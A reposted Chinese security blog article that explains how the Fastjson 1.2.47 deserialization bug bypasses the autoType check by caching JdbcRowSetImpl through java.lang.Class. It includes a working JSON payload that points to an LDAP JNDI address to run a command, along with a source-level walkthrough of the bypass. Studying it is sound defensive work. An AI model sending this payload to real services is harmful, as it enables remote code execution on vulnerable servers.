【Fastjson】- Fastjson 1.2.47 反序列化漏洞
2023-11-23 10:39:12 Author: 信安文摘(查看原文) 阅读量:19 收藏

前言payload反序列化过程    mappings 和 buckets    缓存到mappings中    解析第二段json中的恶意类参考链接

前言

在前面学习的Fastjson反序列化漏洞中,会受限于AutoTypeSupport的黑白名单安全机制,需要设置AutoTypeSupport为true才能利用漏洞。

而Fastjson 1.2.47版本漏洞在原理上就不相同,它在AutoTypeSupport功能未开启时也能利用漏洞。

payload

String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
       "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"autoCommit\":true}}";
Object obj = JSON.parse(payload);
System.out.println(obj);

payload中有两个需要解析的json串:

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":true}

第二个json串比较熟悉,但其在高版本fastjson中过不了autotype的校验。

第一个json串中需要反序列化的类是java.lang.Class,同时给val这个属性赋值为恶意类JdbcRowSetImpl

反序列化过程

调试解析第一个json字符串,看看其中的处理过程。

首先在DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)解析到a这个key;

随后继续解析a对应的值:{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

解析到key为@type,对应的typeNamejava.lang.Class,在反序列化这个类之前先进行checkAutoType,来到ParserConfig#checkAutoType()

checkAutoType()中,会从两个缓存中读取对应的clazz:

if (clazz == null) {
   clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
   clazz = deserializers.findClass(typeName);
}

mappings 和 buckets

进入到TypeUtils.getClassFromMapping(typeName)

public static Class<?> getClassFromMapping(String className){
   return mappings.get(className);
}

很粗暴,就是直接从mappings匹配并返回,mappings中存储的是一些基础的Class,猜测其功能是便于在反序列化处理这些基础类时提高效率。

java.lang.Class并不在mappings中,继续进入deserializers.findClass(typeName);

deserializers属性是IdentityHashMap类对象,findClass方法定义如下:

public Class findClass(String keyString) {
   for (int i = 0; i < buckets.length; i++) {
       Entry bucket = buckets[i];

       if (bucket == null) {
           continue;
      }

       for (Entry<K, V> entry = bucket; entry != null; entry = entry.next) {
           Object key = bucket.key;
           if (key instanceof Class) {
               Class clazz = ((Class) key);
               String className = clazz.getName();
               if (className.equals(keyString)) {
                   return clazz;
              }
          }
      }
  }

   return null;
}

遍历buckets集合,匹配到对应的clazz并返回。

buckets集合中包含的类元素如下:

看下它初始化过程,存入的类都有哪些。bucketsIdentityHashMap类的属性,IdentityHashMap类对象是ParserConfig类的一个属性,命名为deserializers,其初始化过程如下:

根据相关资料得知,buckets是一个用于并发的IdentityHashMap,其也加快了反序列化过程。

deserializers.findClass(typeName)中匹配到了java.lang.Class并返回。

总结一下这两个集合的作用:

Mapping集合是用来存储基础的Class,如果@type字段传入的字符串如果对应了基础Class,程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。而buckets集合则是用于并发操作。

如此,在如下条件:

if (autoTypeSupport || expectClass != null) {

在未开启autotype情况下,并且expectClass为空,用户传入的@type字段值在这两个集合中任意一个,checkAutoType就会将其对应的Class返回。

缓存到mappings中

在获取到java.lang.Class这个clazz后,就会处理这个clazz

deserializer变量是MiscCodec类对象,跟进MiscCodec#deserialze()

MiscCodec#deserialze()中,会判断这个json字符串中是否有val这个键

并解析val这个键对应的值(payload中值为com.sun.rowset.JdbcRowSetImpl),赋值给objVal变量,随后赋值给strVal变量。

} else if (objVal instanceof String) {
  strVal = (String) objVal;
}

if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

调用TypeUtils.loadClass load com.sun.rowset.JdbcRowSetImpl这个class,跟进:

关键代码:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
   return loadClass(className, classLoader, true);
}


try{
   ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
   if(contextClassLoader != null && contextClassLoader != classLoader){
       clazz = contextClassLoader.loadClass(className);
       if (cache) {
           mappings.put(className, clazz);
      }
       return clazz;
  }
}

这里传入的cache默认是true,在加载完com.sun.rowset.JdbcRowSetImpl这个类后,就会缓存到mappings集合中

如此,在解析payload中第一段json串时,就把恶意类缓存到mappings中,在解析第二段json串时,就不会受autotype限制。

解析第二段json中的恶意类

继续解析第二段json串:

扫描解析到typeName为com.sun.rowset.JdbcRowSetImpl,进入checkAutoType判断

if (clazz == null) {
   clazz = TypeUtils.getClassFromMapping(typeName);
}

继续跟进,从mappings中获取:

这下获取到com.sun.rowset.JdbcRowSetImpl的缓存了,通过了autoType检验并返回,如此,后面就会实例化这个恶意类触发jndi漏洞。

参考链接

https://mp.weixin.qq.com/s/FORG5-_fPsFUW91SS4FjZQ


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3OTEwMzIzNA==&mid=2247484662&idx=1&sn=ede744cee2d811d63ade7e2090057cc8&chksm=cf08d89bf87f518d0081c8d61bfd1c938b7a12bb17fd61e46b04438168931b01ab17b36519b5&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh